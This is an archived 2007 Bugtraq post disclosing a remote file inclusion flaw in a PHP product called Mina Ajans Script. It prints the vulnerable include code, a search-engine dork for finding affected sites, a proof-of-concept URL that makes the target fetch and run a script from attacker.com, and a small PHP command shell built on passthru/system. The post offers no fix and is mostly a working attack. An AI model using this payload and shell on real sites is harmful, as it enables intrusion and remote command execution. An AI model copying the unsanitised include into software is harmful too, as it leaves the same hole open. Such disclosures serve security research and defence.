[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Mina Ajans Script Remote File Inclusion Vuln.
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Mina Ajans Script Remote File Inclusion Vuln.
- From: canberx@xxxxxxxxxxx
- Date: 5 Feb 2007 19:25:54 -0000
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$
$
$ Title : Mina Ajans Script Remote File Inclusion Vuln.
$ Author : CanberX , BLaCKWHITE
$ Free : NOT :(
$ Disb : www.minaajans.com.tr
$ G. Dork : "Tasarim ve program: Mina Ajans."
$
$ Vuln Code :
""""""""""""""""""""""""""""""""""""""""""""
<?
$_GET["syf"];
include_once $syf;
?>
""""""""""""""""""""""""""""""""""""""""""""
$ PoC :
http://target.com/[vuln_file].php?syf=http://attacker.com/cmd.txt?cmd=id
$
$ CMD Ex. :
""""""""""""""""""""""""""""""""""""""""""""
<?php
error_reporting(0);
$cmd=$_GET["cmd"];
include $cmd;
passthru($cmd); // if passthru disabled then use @system("string");
?>
""""""""""""""""""""""""""""""""""""""""""""
$ CanberX , BLaCKWHITE
$
$ gr33tz: BLaSTeR
$
$ web: canberx.uni.cc & blackwhite.tc & bl4ster.net
$
$ Don't be n00b!..
$
$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$